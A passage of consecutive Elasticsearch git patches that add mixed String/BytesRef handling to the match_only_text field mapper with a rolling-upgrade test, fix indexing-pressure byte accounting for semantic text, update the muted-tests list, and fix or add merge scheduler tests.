+  <suppress files="plugin[/\\]logsdb[/\\]qa[/\\]rolling-upgrade[/\\]src[/\\]javaRestTest[/\\]java[/\\]org[/\\]elasticsearch[/\\]upgrades[/\\]MatchOnlyTextRollingUpgradeIT.java" checks="LineLength" />
 
   <!-- Gradle requires inputs to be seriablizable -->
   <suppress files="build-tools-internal[/\\]src[/\\]main[/\\]java[/\\]org[/\\]elasticsearch[/\\]gradle[/\\]internal[/\\]precommit[/\\]TestingConventionRule.java" checks="RegexpSinglelineJava" />
diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
index 61abda3aeb16e..59f43360b09b3 100644
--- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
+++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
@@ -362,10 +362,38 @@ public Query phrasePrefixQuery(TokenStream stream, int slop, int maxExpansions,
             return toQuery(query, queryShardContext);
         }
 
+        private static class BytesFromMixedStringsBytesRefBlockLoader extends BlockStoredFieldsReader.StoredFieldsBlockLoader {
+            BytesFromMixedStringsBytesRefBlockLoader(String field) {
+                super(field);
+            }
+
+            @Override
+            public Builder builder(BlockFactory factory, int expectedCount) {
+                return factory.bytesRefs(expectedCount);
+            }
+
+            @Override
+            public RowStrideReader rowStrideReader(LeafReaderContext context) throws IOException {
+                return new BlockStoredFieldsReader.Bytes(field) {
+                    private final BytesRef scratch = new BytesRef();
+
+                    @Override
+                    protected BytesRef toBytesRef(Object v) {
+                        if (v instanceof BytesRef b) {
+                            return b;
+                        } else {
+                            assert v instanceof String;
+                            return BlockSourceReader.toBytesRef(scratch, v.toString());
+                        }
+                    }
+                };
+            }
+        }
+
         @Override
         public BlockLoader blockLoader(BlockLoaderContext blContext) {
             if (textFieldType.isSyntheticSource()) {
-                return new BlockStoredFieldsReader.BytesFromBytesRefsBlockLoader(storedFieldNameForSyntheticSource());
+                return new BytesFromMixedStringsBytesRefBlockLoader(storedFieldNameForSyntheticSource());
             }
             SourceValueFetcher fetcher = SourceValueFetcher.toString(blContext.sourcePaths(name()));
             // MatchOnlyText never has norms, so we have to use the field names field
@@ -386,7 +414,12 @@ public IndexFieldData.Builder fielddataBuilder(FieldDataContext fieldDataContext
                 ) {
                     @Override
                     protected BytesRef storedToBytesRef(Object stored) {
-                        return (BytesRef) stored;
+                        if (stored instanceof BytesRef storedBytes) {
+                            return storedBytes;
+                        } else {
+                            assert stored instanceof String;
+                            return new BytesRef(stored.toString());
+                        }
                     }
                 };
             }
@@ -477,7 +510,12 @@ protected SyntheticSourceSupport syntheticSourceSupport() {
             () -> new StringStoredFieldFieldLoader(fieldType().storedFieldNameForSyntheticSource(), fieldType().name(), leafName()) {
                 @Override
                 protected void write(XContentBuilder b, Object value) throws IOException {
-                    b.value(((BytesRef) value).utf8ToString());
+                    if (value instanceof BytesRef valueBytes) {
+                        b.value(valueBytes.utf8ToString());
+                    } else {
+                        assert value instanceof String;
+                        b.value(value.toString());
+                    }
                 }
             }
         );
diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java
index f427c6c1b7c07..cfbf3a338f691 100644
--- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java
+++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java
@@ -10,6 +10,9 @@
 package org.elasticsearch.index.mapper.extras;
 
 import org.apache.lucene.analysis.TokenStream;
+import org.apache.lucene.document.Field;
+import org.apache.lucene.document.StoredField;
+import org.apache.lucene.document.StringField;
 import org.apache.lucene.index.DirectoryReader;
 import org.apache.lucene.index.DocValuesType;
 import org.apache.lucene.index.IndexOptions;
@@ -21,6 +24,7 @@
 import org.apache.lucene.tests.analysis.CannedTokenStream;
 import org.apache.lucene.tests.analysis.Token;
 import org.apache.lucene.tests.index.RandomIndexWriter;
+import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.common.Strings;
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.index.IndexSettings;
@@ -350,4 +354,29 @@ public void testStoreParameterDefaultsSyntheticSourceTextFieldIsMultiField() thr
             assertThat(fields, empty());
         }
     }
+
+    public void testLoadSyntheticSourceFromStringOrBytesRef() throws IOException {
+        DocumentMapper mapper = createSytheticSourceMapperService(mapping(b -> {
+            b.startObject("field1").field("type", "match_only_text").endObject();
+            b.startObject("field2").field("type", "match_only_text").endObject();
+        })).documentMapper();
+        try (Directory directory = newDirectory()) {
+            RandomIndexWriter iw = indexWriterForSyntheticSource(directory);
+
+            LuceneDocument document = new LuceneDocument();
+            document.add(new StringField("field1", "foo", Field.Store.NO));
+            document.add(new StoredField("field1._original", "foo"));
+
+            document.add(new StringField("field2", "bar", Field.Store.NO));
+            document.add(new StoredField("field2._original", new BytesRef("bar")));
+
+            iw.addDocument(document);
+            iw.close();
+
+            try (DirectoryReader indexReader = wrapInMockESDirectoryReader(DirectoryReader.open(directory))) {
+                String syntheticSource = syntheticSource(mapper, null, indexReader, 0);
+                assertEquals("{\"field1\":\"foo\",\"field2\":\"bar\"}", syntheticSource);
+            }
+        }
+    }
 }
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/BlockSourceReader.java b/server/src/main/java/org/elasticsearch/index/mapper/BlockSourceReader.java
index 72d39b7f59ca2..9d65f0ed8ba2b 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/BlockSourceReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/BlockSourceReader.java
@@ -469,7 +469,7 @@ public String toString() {
     /**
      * Convert a {@link String} into a utf-8 {@link BytesRef}.
      */
-    static BytesRef toBytesRef(BytesRef scratch, String v) {
+    public static BytesRef toBytesRef(BytesRef scratch, String v) {
         int len = UnicodeUtil.maxUTF8Length(v.length());
         if (scratch.bytes.length < len) {
             scratch.bytes = new byte[len];
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/BlockStoredFieldsReader.java b/server/src/main/java/org/elasticsearch/index/mapper/BlockStoredFieldsReader.java
index f56bfb098ed85..a1f5dc4381f50 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/BlockStoredFieldsReader.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/BlockStoredFieldsReader.java
@@ -35,10 +35,10 @@ public boolean canReuse(int startingDocID) {
         return true;
     }
 
-    private abstract static class StoredFieldsBlockLoader implements BlockLoader {
+    public abstract static class StoredFieldsBlockLoader implements BlockLoader {
         protected final String field;
 
-        StoredFieldsBlockLoader(String field) {
+        public StoredFieldsBlockLoader(String field) {
             this.field = field;
         }
 
@@ -112,10 +112,10 @@ protected BytesRef toBytesRef(Object v) {
         }
     }
 
-    private abstract static class Bytes extends BlockStoredFieldsReader {
+    public abstract static class Bytes extends BlockStoredFieldsReader {
         private final String field;
 
-        Bytes(String field) {
+        public Bytes(String field) {
             this.field = field;
         }
 
diff --git a/x-pack/plugin/logsdb/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/MatchOnlyTextRollingUpgradeIT.java b/x-pack/plugin/logsdb/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/MatchOnlyTextRollingUpgradeIT.java
new file mode 100644
index 0000000000000..80a77d76ea162
--- /dev/null
+++ b/x-pack/plugin/logsdb/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/MatchOnlyTextRollingUpgradeIT.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.upgrades;
+
+import com.carrotsearch.randomizedtesting.annotations.Name;
+
+import org.elasticsearch.client.Request;
+import org.elasticsearch.client.Response;
+import org.elasticsearch.client.ResponseException;
+import org.elasticsearch.common.network.NetworkAddress;
+import org.elasticsearch.common.time.DateFormatter;
+import org.elasticsearch.common.time.FormatNames;
+import org.elasticsearch.common.xcontent.XContentHelper;
+import org.elasticsearch.test.rest.ObjectPath;
+import org.elasticsearch.xcontent.XContentType;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.time.Instant;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+
+import static org.elasticsearch.upgrades.LogsIndexModeRollingUpgradeIT.enableLogsdbByDefault;
+import static org.elasticsearch.upgrades.LogsIndexModeRollingUpgradeIT.getWriteBackingIndex;
+import static org.hamcrest.Matchers.containsString;
+import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.notNullValue;
+
+public class MatchOnlyTextRollingUpgradeIT extends AbstractRollingUpgradeWithSecurityTestCase {
+
+    static String BULK_ITEM_TEMPLATE =
+        """
+            {"@timestamp": "$now", "host.name": "$host", "method": "$method", "ip": "$ip", "message": "$message", "length": $length, "factor": $factor}
+            """;
+
+    private static final String TEMPLATE = """
+        {
+            "mappings": {
+              "properties": {
+                "@timestamp" : {
+                  "type": "date"
+                },
+                "method": {
+                  "type": "keyword"
+                },
+                "message": {
+                  "type": "match_only_text"
+                },
+                "ip": {
+                  "type": "ip"
+                },
+                "length": {
+                  "type": "long"
+                },
+                "factor": {
+                  "type": "double"
+                }
+              }
+            }
+        }""";
+
+    public MatchOnlyTextRollingUpgradeIT(@Name("upgradedNodes") int upgradedNodes) {
+        super(upgradedNodes);
+    }
+
+    public void testIndexing() throws Exception {
+        String dataStreamName = "logs-bwc-test";
+        if (isOldCluster()) {
+            startTrial();
+            enableLogsdbByDefault();
+            createTemplate(dataStreamName, getClass().getSimpleName().toLowerCase(Locale.ROOT), TEMPLATE);
+
+            Instant startTime = Instant.now().minusSeconds(60 * 60);
+            bulkIndex(dataStreamName, 4, 1024, startTime);
+
+            String firstBackingIndex = getWriteBackingIndex(client(), dataStreamName, 0);
+            var settings = (Map<?, ?>) getIndexSettingsWithDefaults(firstBackingIndex).get(firstBackingIndex);
+            assertThat(((Map<?, ?>) settings.get("settings")).get("index.mode"), equalTo("logsdb"));
+            assertThat(((Map<?, ?>) settings.get("defaults")).get("index.mapping.source.mode"), equalTo("SYNTHETIC"));
+
+            ensureGreen(dataStreamName);
+            search(dataStreamName);
+            query(dataStreamName);
+        } else if (isMixedCluster()) {
+            Instant startTime = Instant.now().minusSeconds(60 * 30);
+            bulkIndex(dataStreamName, 4, 1024, startTime);
+
+            ensureGreen(dataStreamName);
+            search(dataStreamName);
+            query(dataStreamName);
+        } else if (isUpgradedCluster()) {
+            ensureGreen(dataStreamName);
+            Instant startTime = Instant.now();
+            bulkIndex(dataStreamName, 4, 1024, startTime);
+            search(dataStreamName);
+            query(dataStreamName);
+
+            var forceMergeRequest = new Request("POST", "/" + dataStreamName + "/_forcemerge");
+            forceMergeRequest.addParameter("max_num_segments", "1");
+            assertOK(client().performRequest(forceMergeRequest));
+
+            ensureGreen(dataStreamName);
+            search(dataStreamName);
+            query(dataStreamName);
+        }
+    }
+
+    static void createTemplate(String dataStreamName, String id, String template) throws IOException {
+        final String INDEX_TEMPLATE = """
+            {
+                "index_patterns": ["$DATASTREAM"],
+                "template": $TEMPLATE,
+                "data_stream": {
+                }
+            }""";
+        var putIndexTemplateRequest = new Request("POST", "/_index_template/" + id);
+        putIndexTemplateRequest.setJsonEntity(INDEX_TEMPLATE.replace("$TEMPLATE", template).replace("$DATASTREAM", dataStreamName));
+        assertOK(client().performRequest(putIndexTemplateRequest));
+    }
+
+    static String bulkIndex(String dataStreamName, int numRequest, int numDocs, Instant startTime) throws Exception {
+        String firstIndex = null;
+        for (int i = 0; i < numRequest; i++) {
+            var bulkRequest = new Request("POST", "/" + dataStreamName + "/_bulk");
+            StringBuilder requestBody = new StringBuilder();
+            for (int j = 0; j < numDocs; j++) {
+                String hostName = "host" + j % 50; // Not realistic, but makes asserting search / query response easier.
+                String methodName = "method" + j % 5;
+                String ip = NetworkAddress.format(randomIp(true));
+                String param = "chicken" + randomInt(5);
+                String message = "the quick brown fox jumps over the " + param;
+                long length = randomLong();
+                double factor = randomDouble();
+
+                requestBody.append("{\"create\": {}}");
+                requestBody.append('\n');
+                requestBody.append(
+                    BULK_ITEM_TEMPLATE.replace("$now", formatInstant(startTime))
+                        .replace("$host", hostName)
+                        .replace("$method", methodName)
+                        .replace("$ip", ip)
+                        .replace("$message", message)
+                        .replace("$length", Long.toString(length))
+                        .replace("$factor", Double.toString(factor))
+                );
+                requestBody.append('\n');
+
+                startTime = startTime.plusMillis(1);
+            }
+            bulkRequest.setJsonEntity(requestBody.toString());
+            bulkRequest.addParameter("refresh", "true");
+            var response = client().performRequest(bulkRequest);
+            assertOK(response);
+            var responseBody = entityAsMap(response);
+            assertThat("errors in response:\n " + responseBody, responseBody.get("errors"), equalTo(false));
+            if (firstIndex == null) {
+                firstIndex = (String) ((Map<?, ?>) ((Map<?, ?>) ((List<?>) responseBody.get("items")).get(0)).get("create")).get("_index");
+            }
+        }
+        return firstIndex;
+    }
+
+    void search(String dataStreamName) throws Exception {
+        var searchRequest = new Request("POST", "/" + dataStreamName + "/_search");
+        searchRequest.addParameter("pretty", "true");
+        searchRequest.setJsonEntity("""
+            {
+                "size": 500,
+                "query": {
+                    "match_phrase": {
+                        "message": "chicken"
+                    }
+                }
+            }
+            """.replace("chicken", "chicken" + randomInt(5)));
+        var response = client().performRequest(searchRequest);
+        assertOK(response);
+        var responseBody = entityAsMap(response);
+        logger.info("{}", responseBody);
+
+        Integer totalCount = ObjectPath.evaluate(responseBody, "hits.total.value");
+        assertThat(totalCount, greaterThanOrEqualTo(512));
+    }
+
+    void query(String dataStreamName) throws Exception {
+        var queryRequest = new Request("POST", "/_query");
+        queryRequest.addParameter("pretty", "true");
+        queryRequest.setJsonEntity("""
+            {
+                "query": "FROM $ds | STATS max(length), max(factor) BY message | SORT message | LIMIT 5"
+            }
+            """.replace("$ds", dataStreamName));
+        var response = client().performRequest(queryRequest);
+        assertOK(response);
+        var responseBody = entityAsMap(response);
+        logger.info("{}", responseBody);
+
+        String column1 = ObjectPath.evaluate(responseBody, "columns.0.name");
+        String column2 = ObjectPath.evaluate(responseBody, "columns.1.name");
+        String column3 = ObjectPath.evaluate(responseBody, "columns.2.name");
+        assertThat(column1, equalTo("max(length)"));
+        assertThat(column2, equalTo("max(factor)"));
+        assertThat(column3, equalTo("message"));
+
+        String key = ObjectPath.evaluate(responseBody, "values.0.2");
+        assertThat(key, equalTo("the quick brown fox jumps over the chicken0"));
+        Long maxRx = ObjectPath.evaluate(responseBody, "values.0.0");
+        assertThat(maxRx, notNullValue());
+        Double maxTx = ObjectPath.evaluate(responseBody, "values.0.1");
+        assertThat(maxTx, notNullValue());
+    }
+
+    protected static void startTrial() throws IOException {
+        Request startTrial = new Request("POST", "/_license/start_trial");
+        startTrial.addParameter("acknowledge", "true");
+        try {
+            assertOK(client().performRequest(startTrial));
+        } catch (ResponseException e) {
+            var responseBody = entityAsMap(e.getResponse());
+            String error = ObjectPath.evaluate(responseBody, "error_message");
+            assertThat(error, containsString("Trial was already activated."));
+        }
+    }
+
+    static Map<String, Object> getIndexSettingsWithDefaults(String index) throws IOException {
+        Request request = new Request("GET", "/" + index + "/_settings");
+        request.addParameter("flat_settings", "true");
+        request.addParameter("include_defaults", "true");
+        Response response = client().performRequest(request);
+        try (InputStream is = response.getEntity().getContent()) {
+            return XContentHelper.convertToMap(
+                XContentType.fromMediaType(response.getEntity().getContentType().getValue()).xContent(),
+                is,
+                true
+            );
+        }
+    }
+
+    static String formatInstant(Instant instant) {
+        return DateFormatter.forPattern(FormatNames.STRICT_DATE_OPTIONAL_TIME.getName()).format(instant);
+    }
+
+}

From 741a4a0294c406a8b38326e8234d94cdd617f541 Mon Sep 17 00:00:00 2001
From: Mike Pellegrini <mike.pellegrini@elastic.co>
Date: Fri, 27 Jun 2025 15:34:29 -0400
Subject: [PATCH 014/299] Fix incorrect accounting of semantic text indexing
 memory pressure (#130221) (#130250)

---
 docs/changelog/130221.yaml                    |  5 +++
 .../common/bytes/BytesReference.java          |  5 ++-
 .../ShardBulkInferenceActionFilter.java       |  6 ++--
 .../ShardBulkInferenceActionFilterTests.java  | 32 +++++++++----------
 4 files changed, 28 insertions(+), 20 deletions(-)
 create mode 100644 docs/changelog/130221.yaml

diff --git a/docs/changelog/130221.yaml b/docs/changelog/130221.yaml
new file mode 100644
index 0000000000000..607a76f7dbf41
--- /dev/null
+++ b/docs/changelog/130221.yaml
@@ -0,0 +1,5 @@
+pr: 130221
+summary: Fix incorrect accounting of semantic text indexing memory pressure
+area: Distributed
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/common/bytes/BytesReference.java b/server/src/main/java/org/elasticsearch/common/bytes/BytesReference.java
index ddcfc1ea7eed8..26df48fc9ec24 100644
--- a/server/src/main/java/org/elasticsearch/common/bytes/BytesReference.java
+++ b/server/src/main/java/org/elasticsearch/common/bytes/BytesReference.java
@@ -159,7 +159,10 @@ static BytesReference fromByteArray(ByteArray byteArray, int length) {
     BytesReference slice(int from, int length);
 
     /**
-     * The amount of memory used by this BytesReference
+     * The amount of memory used by this BytesReference.
+     * <p>
+     * Note that this is not always the same as length and can vary by implementation.
+     * </p>
      */
     long ramBytesUsed();
 
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilter.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilter.java
index 082ece347208a..3127361de6d11 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilter.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilter.java
@@ -631,7 +631,7 @@ private boolean incrementIndexingPressure(IndexRequestWithIndexingPressure index
             if (indexRequest.isIndexingPressureIncremented() == false) {
                 try {
                     // Track operation count as one operation per document source update
-                    coordinatingIndexingPressure.increment(1, indexRequest.getIndexRequest().source().ramBytesUsed());
+                    coordinatingIndexingPressure.increment(1, indexRequest.getIndexRequest().source().length());
                     indexRequest.setIndexingPressureIncremented();
                 } catch (EsRejectedExecutionException e) {
                     addInferenceResponseFailure(
@@ -737,13 +737,13 @@ private void applyInferenceResponses(BulkItemRequest item, FieldInferenceRespons
                     indexRequest.source(builder);
                 }
             }
-            long modifiedSourceSize = indexRequest.source().ramBytesUsed();
+            long modifiedSourceSize = indexRequest.source().length();
 
             // Add the indexing pressure from the source modifications.
             // Don't increment operation count because we count one source update as one operation, and we already accounted for those
             // in addFieldInferenceRequests.
             try {
-                coordinatingIndexingPressure.increment(0, modifiedSourceSize - originalSource.ramBytesUsed());
+                coordinatingIndexingPressure.increment(0, modifiedSourceSize - originalSource.length());
             } catch (EsRejectedExecutionException e) {
                 indexRequest.source(originalSource, indexRequest.getContentType());
                 item.abort(
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterTests.java
index a7cb0234aee59..5b4925d8fb0a3 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterTests.java
@@ -616,14 +616,14 @@ public void testIndexingPressure() throws Exception {
 
                 IndexingPressure.Coordinating coordinatingIndexingPressure = indexingPressure.getCoordinating();
                 assertThat(coordinatingIndexingPressure, notNullValue());
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc0Source));
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc1Source));
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc2Source));
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc3Source));
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc4Source));
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc0UpdateSource));
+                verify(coordinatingIndexingPressure).increment(1, length(doc0Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc1Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc2Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc3Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc4Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc0UpdateSource));
                 if (useLegacyFormat == false) {
-                    verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc1UpdateSource));
+                    verify(coordinatingIndexingPressure).increment(1, length(doc1UpdateSource));
                 }
 
                 verify(coordinatingIndexingPressure, times(useLegacyFormat ? 6 : 7)).increment(eq(0), longThat(l -> l > 0));
@@ -720,7 +720,7 @@ public void testIndexingPressureTripsOnInferenceRequestGeneration() throws Excep
 
                 IndexingPressure.Coordinating coordinatingIndexingPressure = indexingPressure.getCoordinating();
                 assertThat(coordinatingIndexingPressure, notNullValue());
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc1Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc1Source));
                 verify(coordinatingIndexingPressure, times(1)).increment(anyInt(), anyLong());
 
                 // Verify that the coordinating indexing pressure is maintained through downstream action filters
@@ -759,7 +759,7 @@ public void testIndexingPressureTripsOnInferenceRequestGeneration() throws Excep
     public void testIndexingPressureTripsOnInferenceResponseHandling() throws Exception {
         final XContentBuilder doc1Source = IndexRequest.getXContentBuilder(XContentType.JSON, "sparse_field", "bar");
         final InstrumentedIndexingPressure indexingPressure = new InstrumentedIndexingPressure(
-            Settings.builder().put(MAX_COORDINATING_BYTES.getKey(), (bytesUsed(doc1Source) + 1) + "b").build()
+            Settings.builder().put(MAX_COORDINATING_BYTES.getKey(), (length(doc1Source) + 1) + "b").build()
         );
 
         final InferenceStats inferenceStats = new InferenceStats(mock(), mock());
@@ -802,7 +802,7 @@ public void testIndexingPressureTripsOnInferenceResponseHandling() throws Except
 
                 IndexingPressure.Coordinating coordinatingIndexingPressure = indexingPressure.getCoordinating();
                 assertThat(coordinatingIndexingPressure, notNullValue());
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc1Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc1Source));
                 verify(coordinatingIndexingPressure).increment(eq(0), longThat(l -> l > 0));
                 verify(coordinatingIndexingPressure, times(2)).increment(anyInt(), anyLong());
 
@@ -862,14 +862,14 @@ public void testIndexingPressurePartialFailure() throws Exception {
             );
             XContentBuilder builder = XContentFactory.jsonBuilder();
             semanticTextField.toXContent(builder, EMPTY_PARAMS);
-            return bytesUsed(builder);
+            return length(builder);
         };
 
         final InstrumentedIndexingPressure indexingPressure = new InstrumentedIndexingPressure(
             Settings.builder()
                 .put(
                     MAX_COORDINATING_BYTES.getKey(),
-                    (bytesUsed(doc1Source) + bytesUsed(doc2Source) + estimateInferenceResultsBytes.apply(List.of("bar"), barEmbedding)
+                    (length(doc1Source) + length(doc2Source) + estimateInferenceResultsBytes.apply(List.of("bar"), barEmbedding)
                         + (estimateInferenceResultsBytes.apply(List.of("bazzz"), bazzzEmbedding) / 2)) + "b"
                 )
                 .build()
@@ -913,8 +913,8 @@ public void testIndexingPressurePartialFailure() throws Exception {
 
                 IndexingPressure.Coordinating coordinatingIndexingPressure = indexingPressure.getCoordinating();
                 assertThat(coordinatingIndexingPressure, notNullValue());
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc1Source));
-                verify(coordinatingIndexingPressure).increment(1, bytesUsed(doc2Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc1Source));
+                verify(coordinatingIndexingPressure).increment(1, length(doc2Source));
                 verify(coordinatingIndexingPressure, times(2)).increment(eq(0), longThat(l -> l > 0));
                 verify(coordinatingIndexingPressure, times(4)).increment(anyInt(), anyLong());
 
@@ -1124,8 +1124,8 @@ private static BulkItemRequest[] randomBulkItemRequest(
             new BulkItemRequest(requestId, new IndexRequest("index").source(expectedDocMap, requestContentType)) };
     }
 
-    private static long bytesUsed(XContentBuilder builder) {
-        return BytesReference.bytes(builder).ramBytesUsed();
+    private static long length(XContentBuilder builder) {
+        return BytesReference.bytes(builder).length();
     }
 
     @SuppressWarnings({ "unchecked" })

From bf735f4ae2388e4f83e851aa1768095159a0c492 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Sat, 28 Jun 2025 16:25:03 +1000
Subject: [PATCH 015/299] Mute org.elasticsearch.xpack.esql.action.EnrichIT
 testProfile #130270

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 9a0edd46e77b5..734ac4a83e1a2 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -575,6 +575,9 @@ tests:
 - class: org.elasticsearch.compute.operator.topn.TopNOperatorTests
   method: testSimpleWithCranky
   issue: https://github.com/elastic/elasticsearch/issues/130215
+- class: org.elasticsearch.xpack.esql.action.EnrichIT
+  method: testProfile
+  issue: https://github.com/elastic/elasticsearch/issues/130270
 
 # Examples:
 #

From 5091983e291625d025a05a3f58de4cedcd6f8e63 Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Sun, 29 Jun 2025 08:14:42 +0300
Subject: [PATCH 016/299] Fix ThreadPoolMergeSchedulerTests
 testSchedulerCloseWaitsForRunningMerge (#130078) (#130132)

This fixes a race condition in the test scenario, between the merge
scheduler closing and the merge task being scheduled to run. The test
scenario expects that the merge task runs when the scheduler is closed.
If the merge scheduler is closed before the merge task is scheduled, the
merge task will instead be scheduled as aborted.

Fixes: https://github.com/elastic/elasticsearch/issues/125236
---
 muted-tests.yml                                              | 3 ---
 .../index/engine/ThreadPoolMergeSchedulerTests.java          | 5 +++--
 2 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 734ac4a83e1a2..8bdcdcf410e51 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -281,9 +281,6 @@ tests:
 - class: org.elasticsearch.search.basic.SearchWithRandomDisconnectsIT
   method: testSearchWithRandomDisconnects
   issue: https://github.com/elastic/elasticsearch/issues/122707
-- class: org.elasticsearch.index.engine.ThreadPoolMergeSchedulerTests
-  method: testSchedulerCloseWaitsForRunningMerge
-  issue: https://github.com/elastic/elasticsearch/issues/125236
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test020PluginsListWithNoPlugins
   issue: https://github.com/elastic/elasticsearch/issues/126232
diff --git a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerTests.java b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerTests.java
index d88f7c67b0bbd..bea7697fd51c6 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeSchedulerTests.java
@@ -612,11 +612,12 @@ public void testSchedulerCloseWaitsForRunningMerge() throws Exception {
                         fail(e);
                     }
                 });
+                // test expects that there definitely is a running merge before closing the merge scheduler
+                mergeRunningLatch.await();
+                // closes the merge scheduler
                 t.start();
                 try {
                     assertTrue(t.isAlive());
-                    // wait for the merge to actually run
-                    mergeRunningLatch.await();
                     // ensure the merge scheduler is effectively "closed"
                     assertBusy(() -> {
                         MergeSource mergeSource2 = mock(MergeSource.class);

From 5224c7a9ffdd410ec7e8b7be9774adcbac3d6fcc Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Sun, 29 Jun 2025 10:30:20 +0300
Subject: [PATCH 017/299] Add TEST MergeWithLowDiskSpaceIT
 testForceMergeIsBlockedThenUnblocked (#130189) (#130288)

This adds a new IT for when forced merges are blocked (and then
unblocked) because of the insufficient disk space situation.

This test was suggested
https://github.com/elastic/elasticsearch/pull/127613#pullrequestreview-2900135287.
---
 .../index/engine/MergeWithLowDiskSpaceIT.java | 122 +++++++++++++++++-
 1 file changed, 121 insertions(+), 1 deletion(-)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java
index c2687468a7f26..7a76872c27a54 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java
@@ -9,9 +9,12 @@
 
 package org.elasticsearch.index.engine;
 
+import org.elasticsearch.action.ActionFuture;
 import org.elasticsearch.action.admin.cluster.node.stats.NodeStats;
 import org.elasticsearch.action.admin.cluster.node.stats.NodesStatsResponse;
+import org.elasticsearch.action.admin.indices.segments.ShardSegments;
 import org.elasticsearch.action.admin.indices.stats.IndicesStatsResponse;
+import org.elasticsearch.action.support.broadcast.BroadcastResponse;
 import org.elasticsearch.cluster.DiskUsageIntegTestCase;
